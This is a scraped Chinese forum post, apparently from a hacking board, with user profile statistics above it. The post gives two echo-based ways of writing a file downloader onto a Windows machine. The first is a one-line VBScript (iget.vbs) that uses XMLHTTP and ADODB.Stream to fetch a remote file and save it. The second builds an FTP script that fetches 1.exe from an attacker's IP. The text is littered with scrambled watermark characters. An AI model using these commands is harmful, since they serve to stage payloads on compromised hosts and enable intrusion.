- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: 3 b4 U0 w N& Z+ w
1.iget.vbs一次写入
1 R C% @. Q4 l4 H# E5 l在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
% P _. V! i* P1 B( {: L, ^
# c- w/ c7 Q( l) l4 q- N5 USet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 / `& {$ M& K& `/ t, l; h
# [5 F6 _. E4 V8 G' y$ x! S3 K这样我们可以一次echo成功,echo版本:
& N4 G% A$ x% j Y7 w T+ w2 e1 c* [8 v/ v; D
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
2 B2 W4 s' j: O0 @3 E% J; H: l% k+ H3 _- b c1 f( V
! O* }) r0 I1 j+ P2.bat调用ftp脚本的写法(by envymask) 0 K# x; c" x5 H2 p
# l: q* O6 X' H# _$ _5 ~echo ftp>1.vbs + R# F* N$ ?3 }* p9 U- H
echo open ip>2.vbs
?( Y6 }/ [5 K" C! s: b7 }: Aecho u>3.vbs / c3 H* ?/ i" i. p
echo s>4.vbs & a. @9 p: Z: M' I
echo binary>5.vbs / D3 ^: q& h* k& o4 |
echo get 1.exe>6.vbs
: W7 R, m( s C1 m. zecho bay>7.vbs ! y% F1 f C+ d, C' O
' E. I" Y9 y) w) k5 E; kcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
1 H \: a3 c9 [: ?4 |7 Y; i+ S</P> |
zan
|